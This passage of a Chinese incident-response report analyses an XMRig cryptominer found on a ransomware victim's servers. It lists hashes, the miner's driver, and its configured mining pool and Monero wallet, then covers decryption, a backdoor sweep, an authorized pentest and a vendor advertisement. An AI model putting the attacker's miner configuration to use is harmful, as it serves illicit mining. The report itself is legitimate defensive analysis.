   TXnbib.dll会释放1HI.exe,在1HI.exe会删除系统相关的日志文件,并在其中找到了矿池的相关链接,猜测为挖矿程序

3.4 admin.exe文件信息

3.4.1 程序一

文件名admin.exe
操作系统Windows
大小脱壳前  2189824 bytes 脱壳后 6361088 bytes
架构amd64
类型exe
字节序Little Endian
SHA2562f10ce62e3fcf5c0b2db110211503bc0b857226b65e826300d14af0c040dd7d8
脱壳后SHA256b2ec051d1886f1476b0575e3e02f1d0f3eb9bd7c7bab10a89212901674d4e6c9

3.4.2 程序二

文件名WinRing0x64.sys
操作系统Windows
大小14544 bytes
架构amd64
类型sys
字节序Little Endian
SHA25611bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

3.4.3 程序三

文件名Config.json
大小2973 bytes
类型json
SHA256571d9b1fa9bb8f597ab43717409a90dcf30cb1459797c4a7f1a160c8fe6ef2c0

3.3.4 逆向分析

      使用upx脱壳机脱壳后,拖进ida打开。

图片

图片

      由信息可初步断定该文件为XMRig 6.21.2程序文件,使用vs编译。

      该文件为开源程序,github下载链接: https://github.com/xmrig。下载为XMRig 6.21.2程序文件,使用010 editor对比其中的 WinRing0x64.sys;

图片

图片

图片

      使用bindiff对比其中的xmrig.exe和admin.exe;

图片

图片

      代码部分完全相同。

      各文件作用如下:

WinRing0x64.sysXMRig矿机使用的驱动组件
admin.exe矿机主程序
Config.json矿机配置文件,包含钱包地址,钱包密码,矿池地址

      Config.json内容:

矿池地址auto.c3pool.org:443
钱包地址48VcHM6iD4kfXn2pLxVnFjGoapwXZQT9vc5gwJn3ecgxJdtidzqxgiX76TxEbDJKtggtGzWSQo5rfY9z5i8XLnWE5mgSMAi
钱包密码new

3.3.5 小结

       此次分析该软件为XMRig挖矿软件的原版程序文件及配置。XMRig 恶意软件在后台运行,使用受害者的 CPU 或 GPU 执行复杂的计算,以挖掘门罗币。XMRig 恶意软件与攻击者控制的指挥和控制(C2)服务器通信。C2 服务器为恶意软件提供挖矿的配置设置,并接收有关挖矿进度和挖掘的加密货币的更新。

4.解密恢复

      Solar团队安排工程师去到客户现场,线下协助客户进行勒索病毒解密恢复,最终成功恢复了被加密的数据文件,同时还对客户的网络安全情况做了全面的评估,并提供了相应的解决方法和建设思路,获得了客户的高度好评。

图片

恢复前

图片

恢复后

5.后门排查

      完成解密后,Solar团队使用专用后门排查工具对客户服务器的自启动项、计划任务、可疑网络连接、账号密码强度、可疑进程等项目进行了排查,将遗留后门全部清除。并对隐患项提出了安全加固建议,确保不存在遗留后门,并对服务器进行快照及备份处理。下表为安全加固排查总表:

图片

6.渗透测试

 本次渗透测试经客户授权前提下操作

6.1 渗透测试结果

      本次渗透测试目标为:

      本次渗透测试共发现12个漏洞,其中8个高危,5个中危,漏洞类型包括:SQL注入漏洞、弱口令漏洞、未授权访问漏洞、目录遍历漏洞、文件上传漏洞。

图片

7.安全建议

7.1 风险消减措施

资产梳理排查目标:根据实际情况,对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容:流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

图片

7.2 安全设备调优

目标

      通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

图片

主要目标设备

      网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

7.3全员安全意识增强

目标:

      通过网络安全意识宣贯、培训提升全方位安全能力

形式:

      培训及宣贯

图片

线下培训课表

      若无法组织线下的集体培训,考虑两种方式:

1.提供相关的安全意识培训材料,由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

图片

线上学习平台

8.团队介绍

      solar团队数年深耕勒索解密与数据恢复领域,在勒索解密和数据恢复领域建立了良好的声誉,以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业,都能提供量身定制的服务,确保每一个被勒索软件侵害的数据都能够恢复到最佳状态,同时在解密数据恢复后,提供全面的后门排查及安全加固服务,杜绝二次感染的风险。同时,solar团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证,已构建了网络安全行业合格的资质体系。

9.数据恢复服务流程

      多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断

       专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复

       售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

       您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

       专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

       您清楚了解数据恢复方案后,您可自主选择以下下单方式:

双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

      安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

      数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

      完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

      客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/582967.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

监控员工上网有什么软件(2024三款受欢迎的员工上网监控软件盘点)

企业对员工上网行为的有效监管显得愈发重要。 既要确保工作效率与信息安全&#xff0c;又要尊重员工隐私并遵守相关法律法规&#xff0c;选择一款功能强大、合规且易于使用的员工上网监控软件至关重要。 本文将为您介绍2024年三款备受市场欢迎的员工上网监控软件&#xff0c;以…

20232801 2023-2024-2 《网络攻防实践》实践八报告

20232801 2023-2024-2 《网络攻防实践》实践八报告 1.实践内容 1.动手实践任务: 对提供的rada恶意代码样本&#xff0c;进行文件类型识别&#xff0c;脱壳与字符串提取&#xff0c;以获得rada恶意代码的编写作者. 2.动手实践任务二&#xff1a;分析Crackme程序 在WinXP Attac…

LeetCode 每日一题 ---- 【1017.负二进制转换】

LeetCode 每日一题 ---- 【1017.负二进制转换】 1017.负二进制转换方法一&#xff1a;模拟进制转换推广&#xff1a;任意进制转换 1017.负二进制转换 方法一&#xff1a;模拟进制转换 我们平常做进制转换最常用的方法就是辗转相除法&#xff0c;下面的图示分别给出了普通的10…

pmp培训哪家好?高通过率的靠谱机构如何选择

PMP培训机构的选择本来就是一个需要有挑选的人才能顺利进行&#xff0c;所以如果你正好是PMP小白的话一定要抓紧补充一下自己在挑选机构方面的知识&#xff0c;理清自己的需求才能进行多维度的挑选&#xff0c;最后才能选择一个比较合适的机构。已经换证一次的老鸟路过&#xf…

Linux网络开发基础知识

一个网络服务器的简单实现 项目需求 实现回声服务器的客户端/服务器程序&#xff0c;客户端通过网络连接到服务器&#xff0c;并发送任意一串英文信息&#xff0c;服务器端接收信息后&#xff0c; 将每个字符转换为大写并回送给客户端显示。 eoch_client.c #include <arpa/i…

利用RunnerGo数据大屏强化测试管理与决策

测试平台中的数据大屏在提供实时监控、统计分析、效率提升、制定策略和促进沟通等方面具有重要的意义。它为测试团队提供更全面、更直观的数据支持&#xff0c;有助于提高测试质量和效率&#xff0c;减少风险&#xff0c;并加强团队协作和沟通。 数据大屏也是RunnerGo的核心特…

软考高级 | 系统架构设计师笔记(二)

三. 软件架构设计 3.1 概述 a 定义 软件或计算机系统的软件架构是该系统的一个&#xff08; 或多个&#xff09; 结构&#xff0c; 而结构由软件元素、 元 素的外部可见属性及它们之间的关系组成。 软件系统架构是关于软件系统的 结构、 行为和属性 的高级抽象。 指定…

【车辆管理】车辆位置监控管理方案

车辆位置监控管理方案 位置管理模块&#xff0c;实现管理车辆基于位置的管理功能。包括实时位置追踪、历史轨迹回放、电子围栏配置等功能。模块关键功能如下&#xff1a; 1、实时位置调度 应用公网的无线传输作为数据传输的载体&#xff0c;真正地实现对车辆位置的全天候实时…

OLED(SSD1306+I2C协议显示屏模块)

工具 1.Proteus 8 仿真器 2.keil 5 编辑器 原理图 讲解 简介 OLED&#xff08;Organic Light-Emitting Diode&#xff09;显示屏&#xff0c;即有机发光二极管显示屏&#xff0c;是一种新型显示技术。它的工作原理是通过电流驱动有机材料发光&#xff0c;无需背光灯&#x…

MyBatis 插件介绍及应用

MyBatis 插件介绍及应用 MyBatis 是一个持久层框架&#xff0c;它允许开发者自定义 SQL 语句并将其映射到 Java 对象中。MyBatis 提供了一种灵活的数据库操作方式&#xff0c;但随着项目的复杂度增加&#xff0c;一些通用功能如分页、缓存、事务管理等可能需要重复编写。为了解…

【网络原理】IP协议的地址管理和路由选择

系列文章目录 【网络通信基础】网络中的常见基本概念 【网络编程】网络编程中的基本概念及Java实现UDP、TCP客户端服务器程序&#xff08;万字博文&#xff09; 【网络原理】UDP协议的报文结构 及 校验和字段的错误检测机制&#xff08;CRC算法、MD5算法&#xff09; 【网络…

uniapp-vue3-wechat:基于uniapp+vue3仿微信app聊天实例(H5+小程序+App端)

uni-vue3-wchat&#xff1a;基于uni-appvue3pinia2高仿微信app聊天模板。 原创基于最新跨端技术uni-appvue3.xpinia2vite4uv-ui构建三端仿微信app界面聊天实例。实现编辑框多行消息/emoj混合、长按触摸式仿微信语音面板、图片/视频预览、红包/朋友圈等功能。支持编译到H5小程序…

unity3d使用3D WebView播放网页中的视频

Unity2021.3.35f1&#xff0c;硬件ESP32-Cam&#xff0c;3D WebView插件 1.新建工程&#xff0c;导入3D WebView for Winfows和3D WebView for Android 2.打开场景Assets\Vuplex\WebView\Demos\Scenes\2_CanvasWebViewDemo 3.修改Canvas的Render Mode为Screen Space-Camera&am…

Spark持久化、broadcast广播变量和accumulator累加器

持久化操作 什么是持久化&#xff0c;为什么要持久化 Spark中最重要的功能之一是跨操作在内存中持久化&#xff08;或缓存&#xff09;数据集。当您持久化RDD时&#xff0c;每个节点将其计算的任何分区存储在内存中&#xff0c;并在该数据集&#xff08;或从该数据集派生的数…

AI大模型日报#0429:人大多模态Awaker1.0、清华「AI+材料」落地、微软小模型Orca-Math、GenAI黄金法则

导读&#xff1a; 欢迎阅读《AI大模型日报》&#xff0c;内容基于Python爬虫和LLM自动生成。目前采用“文心一言”生成了今日要点以及每条资讯的摘要。AI大模型日报今日要点&#xff1a; 中山大学与重庆大学合作开发的基于Transformer的单细胞注释方法SANGO在跨样本、平台和组织…

平安城市 校园 景区 停车场网络语音对讲立柱SV-11TS

平安城市 校园 景区 停车场网络语音对讲立柱SV-11TS 长方形立柱式设计&#xff0c;外观简约&#xff0c;线条优美&#xff0c;工艺考究&#xff0c;坚固耐用可一键实现在紧急情况下求助报警、事件咨询&#xff0c;与SIP网络对讲主机进行全双工对讲。内置警示灯&#xff0c;呼叫…

接口自动化框架篇:使用python连接数据库 - PySQL介绍!

PySQL介绍&#xff1a;使用Python连接数据库的接口自动化框架 在接口自动化测试中&#xff0c;经常需要使用数据库来操作测试数据&#xff0c;验证接口返回的数据是否正确。Python是一种功能强大的编程语言&#xff0c;可以轻松地连接数据库&#xff0c;并进行各种数据库操作。…

保证接口幂等性(token机制)

现在继续讲一讲保证接口的幂等性——使用token机制&#xff0c;并编写代码实现&#xff01; 1. 概念 Token机制是实现接口幂等性的一种常见策略&#xff0c;尤其是在处理如订单创建、支付确认等敏感操作时&#xff0c;确保即使用户因网络延迟、误操作等原因重复提交请求&#…

【TDengine】mac m1解决no taos in java.library.path

前言 使用macos搭建springbootmybatisplus&#xff0c;通过mqtt将数据更新到tdenigne 3.2.3&#xff0c;数据源使用远程服务器的tdengine。 问题 启动时报错&#xff1a; Caused by: java.lang.UnsatisfiedLinkError: no taos in java.library.path 以下是官方文档 打开本…

动手学深度学习——矩阵

1. 基本概念 1.1 标量 标量由只有一个元素的张量表示。 所以标量计算与程度开发中的普通变量计算没有差异。 import torchx torch.tensor(3.0) y torch.tensor(2.0)x y, x * y, x / y, x**y(tensor(5.), tensor(6.), tensor(1.5000), tensor(9.))1.2 向量 向量泛化自标量…